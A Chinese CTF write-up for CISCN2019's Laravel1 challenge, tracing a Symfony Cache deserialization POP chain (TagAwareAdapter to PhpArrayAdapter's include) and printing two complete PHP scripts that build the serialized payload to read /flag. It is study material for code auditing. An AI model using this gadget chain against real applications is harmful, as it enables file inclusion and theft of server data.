[CISCN2019 总决赛 Day1 Web4]Laravel1-PHP代码审计学习
题目就是简单的几行代码,看到了反序列化函数,还提示了有源代码,那就说明得审代码找POP链咯
源码下了文件还挺多的,这会就有点懵逼了,文件这么多一个一个的找得找到猴年马月啊。
无奈之下上网翻一翻网上审Laravel的文章,发现了可以先全局搜索缩小范围(Sublimetext中是快捷键ctrl+shift+f),提高速率,我搜了下_destruct
找到了不少,双击就可以去到文件文件里面具体查看,接下来就是一个个去看有没有发现有用的吧
第一次审这么大的文件,东西太多太杂,没啥经验,没看出啥,只能找篇大佬的WP当当引路人
找到了个_destruct()调用了commit(),commit()又调用了invalidatetags()
整段代码中没啥可以直接利用的函数,像什么eval,file_get_content()这种可直接利用的是肯定没有的
要注意的是,我们可以控制整个TagAwareAdapter类中的成员变量,所以我们可以控制所有的$this->xxx这样子的变量
可以看到下面这段代码
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
现在我们需要找到任意一个实现了saveDeferred方法的类
能用来利用的只能找到一个:PhpArrayAdapter类
我们看一下这个类中的saveDeffer方法
initialize()这个方法,发现在本类中并没有定义,而是在一个trait这个关键词修饰的类中trait PhpArrayTrait
看一下trait这个关键词的用法
trait这个关键词是php为了解决单继承的问题而特意建立的,在java这种面向对象的语言中,继承都是单继承的,一个类只能继承一个父类,这样确实体现了面向对象的思想,但是单继承在有的时候不是很方便
我们通过phpstorm的继承图生成可以清楚的看到PhpArrayAdapter这个类的继承关系
回到正题
在本类中没有定义initialize这个方法的话,自然就会去父类中寻找,我们来看看父类的initialize方法:
我们可以在PhpArrayAdapter中定义好$this->file这个变量,那么在调用initialize方法的时候,只要这个file是一个存在的文件,就会调用include来包含进去,最后就可以读取到flag了
构造一下POP链
TagAwareAdapter.php->_destruct()->commit()->invalidateTags(array $tags)->$this->pool->saveDeferred($item)
PhpArrayAdapter.php->saveDeferred(CacheItemInterface $item)->initialize()
PhpArrayTrait.php->initialize()
下面这个是大佬文章里的,直接copy过来了,也成功拿到了flag
namespace Symfony\Component\Cache{
use Symfony\Component\Cache\Adapter\ProxyAdapter;
final class CacheItem{
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;
public function __construct()
{
$this->expiry = 'sjdjfkas';
$this->poolHash = '123';
$this->key = '';
}
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}
class ProxyAdapter{
private $namespace;
private $namespaceLen;
private $createCacheItem;
private $setInnerItem;
private $poolHash;
private $pool;
public function __construct()
{
$this->pool = new ChainAdapter();
$this->createCacheItem = 'call_user_func';
$this->namespace = 'phpinfo';
}
}
class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
private $pool;
public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}
namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
成功获得flag
不过还是有些小问题还需要自己动手才能明白,于是自己又试着整了一下,其他参数应该上面都有说,就正常赋值就行
但是这里这个传参CacheItemInterface $item我就不是很明白了,这到底是个什么类型的参数,CacheItemInterface没找到这个类,搜了下interface是面向对象编程语言中接口操作的关键字,去掉interface后就剩下CacheItem了,根再据大佬写的WP,就找到了个CacheItem(我自己因为没咋做过开发所以这里不是很了解,还需要继续学习)
现在按上面确定好的POP链写脚本
不过这样运行会报错,CacheItem类没加进去,它找不到,所以再把CacheItem.php的一部分加进去就行了
<?php
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}
class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
private $pool;
public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}
namespace Symfony\Component\Cache{
use Psr\Log\LoggerInterface;
use Symfony\Component\Cache\Exception\InvalidArgumentException;
use Symfony\Component\Cache\Exception\LogicException;
use Symfony\Contracts\Cache\ItemInterface;
class CacheItem
{
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;
}
}
namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
总结
第一次做这种文件这么多的代码审计,一开始看的头晕,但发现了全局搜索这个功能,可以提高我们代码审计的速度,注意找到重点就行。在寻找利用点构造POP链时,不一定要执着于寻找该类的直接可利用函数,注意this->xxx这种。最后,在构造POP链时,就按照自己设计好的路线,把代码赋值好整合到一起去就行。